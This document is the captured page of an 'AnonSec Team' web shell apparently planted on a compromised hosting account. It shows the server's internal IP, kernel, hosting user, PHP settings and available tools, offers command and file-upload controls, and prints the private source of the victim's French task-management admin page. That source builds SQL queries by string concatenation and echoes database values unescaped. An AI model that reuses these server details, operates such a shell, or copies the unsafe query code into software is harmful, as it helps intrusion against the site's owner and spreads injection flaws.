AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/control_admin.php
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;

session_start();

// echo 'Bienvenue à la page numéro 1';

// $_SESSION['favcolor'] = 'green';
// echo "test <br/>" ; 


if(!empty($_POST))
{
	// echo "<pre>" ; 
	// print_r($_POST) ; 
	// echo "</pre>" ;
	
	$date_jourr= date2int_DSI($_POST['date_jour']) ;
	// echo "==>".$date_jourr."</br>" ;
	// exit() ; 
	$_SESSION['ur']  = $_POST['admin_id'];
	$_SESSION['date_jour']  = $date_jourr;
	    
}
// echo "==>".$_SESSION['ur'] ; 
 
?>


<!DOCTYPE html>
<html>

			<head>

			<?php include('header.php'); ?>


			</head> 
			
<body class="hold-transition sidebar-mini">	


								
<!-- Site wrapper -->
<div class="wrapper">

				<!-- TOP MENU -->
												<nav class="main-header navbar navbar-expand navbar-white navbar-light">
													<ul class="navbar-nav">
															<li class="nav-item">
																	<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
															</li>

															<li>
															 <?php echo '<a href="#myMal2"  id="custId" data-toggle="modal" data-id="'.$c['Fournisseur_ID'].'"><h3></h3></a>';?>
															</li>
													</ul> 
												</nav> 
												  
  
<!-- BARRE DE NAVIGATION -->


<?php include('menu.php'); ?>


  



 <!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
												<div class="content-header">
												  <div class="container-fluid">
													<div class="row mb-2">
																			<div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
																			  <div class="modal-dialog modal-lg">
																				<div class="modal-content data">
																					<div id="fetch" >
																					</div>
																			   
																					</div>
																				</div>
																			</div>      
													</div><!-- /.row -->
												  </div>
												</div>
												<!-- /.content-header -->

    <!-- PAGE PRINCIPALE -->
   
   
   
   <script language="Javascript">
   function GetIdBureau()
   {
		var id="";
  	  id = document.admin_form.admin_id.value ;
	if( id > 0 || id=="INDEFINI" )
	  window.location = "control_admin.php?id="+id;
	  	else
	window.location = "control_admin.php";
   }
</script>
   
   	<?php
// echo "<pre>" ; 
// print_r($_GET) ; 
// echo "</pre>" ;

	// $where1="";


		
		// $where1="  where  `Admin_ID` =  $Admin_ID  ";
  









	
	?>
				<section class="content">
					<div class="row">
						<div class="col-12">
							<div class="card card-primary card-outline">
															<div class="card-header">
																<div class="row">
																	<div class="col-sm-11">
																		<h3 class="card-title"> <i class="nav-icon fas fa-id-card"></i> historique de la suppressionnn  </h3>
																	</div>
																</div> 
															</div>
									<div class="card-body">
								
															
														
												

	
										<div class="onglet_dotted">
											<div style="width:100%; float:left; vertical-align:top" class="header_ray">
												<div id="tab">
													<div class="box-body">
														<table id="example1" class="table table-hover">
															<thead>
																<TR>
																  <th align="center">Date/Heure</th>
																  <th align="center">Administratif affectée</th>	
																 <th align="center">Administratif supr </th>																  
																  <th align="center">Client</th>	
																  <th align="center">Designation</th>	
																  <th align="center">Date/Heure suppression</th>	
															

						
																</TR>
															</thead>
                                                            <tbody>
															<?php
															
															// $q=dbi_query("SELECT * FROM `test_suivi` WHERE `suivi_parent_id` != 0 and    Admin_ID = $Admin_ID and date_control = $date_control  ") ;
																$q=dbi_query("SELECT * FROM sous_tache_sup WHERE tache_id != 0 ") ;
																
																// echo "SELECT * FROM sous_tache WHERE tache_id != 0 and    user_id = $Admin_ID and date_creation = $date_control  </br>" ;
																
															// echo "jjjjjj " ;
																
																while($suviO=dbi_fetch_row($q))
																{
																	// echo "yyyyy " ;
																		list($client_nom)=dbi_fetch_row(dbi_query("SELECT client_nom FROM tache t , client c where t.client_id = c.client_id and tache_id = ".$suviO['tache_id'])) ; 
																	
																	    list($user_nom , $user_prenom)= dbi_fetch_row(dbi_query("SELECT user_nom , user_prenom FROM `users` WHERE user_id = ".$suviO['user_id'])) ;
																	     list($user_nom_sup , $user_prenom_sup)= dbi_fetch_row(dbi_query("SELECT user_nom , user_prenom FROM `users` WHERE user_id = ".$suviO['user_sup'])) ;
																	?>
																<tr>
																<td><?php echo $suviO['date_heure_creation']; ?> </td>
																<td><?php echo $user_nom." ".$user_prenom; ?> </td>
																<td><?php echo $user_nom_sup." ".$user_prenom_sup; ?> </td>
																<td><?php echo $client_nom; ?> </td>
																<td><?php echo $suviO['sous_tache_designation']; ?> </td>
																<td><?php echo $suviO['date_heure_sup']; ?> </td>
																
																
																
																</tr>
																<?php
																 // echo "===>".int2date($date_control )."==> ".$suviO['annotation']."<br/>" ; 	
																}
																
																// }
																		
															?>

 
															</tbody>
														</table><!-- /.table -->
													</div><!-- /.box-body -->
												</div><!-- /.tab -->
											</div><!-- /.header_ray -->
										</div><!-- /.onglet_dotted -->
										
										
										
										
										
										
										
										
										
										
										
										

										
											
	
										
										
										
								    </div><!-- /.card-body -->
							    </div><!-- /.card card-primary card-outline -->
							</div> <!-- /.col-12 -->
						</div>  <!-- /.row -->
				</section> <!-- /.section -->
     


	
	</div>
  
  
<?php include('footerr.php'); ?>

</body>
</html>

AnonSec - 2021